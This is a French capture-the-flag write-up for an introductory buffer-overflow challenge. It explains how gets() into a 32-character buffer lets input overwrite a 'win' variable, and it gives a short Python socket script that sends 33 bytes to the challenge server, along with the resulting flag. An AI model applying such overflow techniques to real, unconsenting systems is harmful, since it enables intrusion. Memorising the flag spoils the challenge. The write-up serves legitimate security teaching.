# BOF Intro

**Catégorie:** Pwn\
**Difficulté:** -\
**Flag:** CTFREI{buff3r\_0v3rfl0w\_1ntr0!}

## Challenge

{% file src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2FAZx4oe9oB2JOkWvCDG2Z%2Fbof-intro.zip?alt=media&token=6d79ee43-7358-4fe2-8a9c-bb31bad6aed9" %}

{% hint style="info" %}
#### Description

***

Premier challenge d'introduction au **pwn**, analyse le script en C qui est donné et tente d'avoir le flag !

`Connexion: nc intro.ctfrei.fr 7000`
{% endhint %}

{% hint style="warning" %}
Ce challenge tourne sur un docker et n'est pas disponible
{% endhint %}

## Solution

La fonction **`gets`** utilise la variable **`buffer`** pour récupérer notre entrée. La vulnérabilité ici est que ce buffer est un tableau de 32 chars et qu'aucune vérification n'est faite pour limiter notre entrée.

On peut donc envoyer plus de 32 caractères et ceux au-delà du buffer vont écraser les variables suivantes, donc ici la valeur de **`win`**.

En python ça donne :

```python
import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('intro.ctfrei.fr', 7000))
sock.recv(2048)
sock.send(b'a' * 33 + b'\n')    # On ajoute un retour à la ligne avec \n
print(sock.recv(2048).decode())
# Félicitations ! Voici le flag: CTFREI{buff3r_0v3rfl0w_1ntr0!}
```
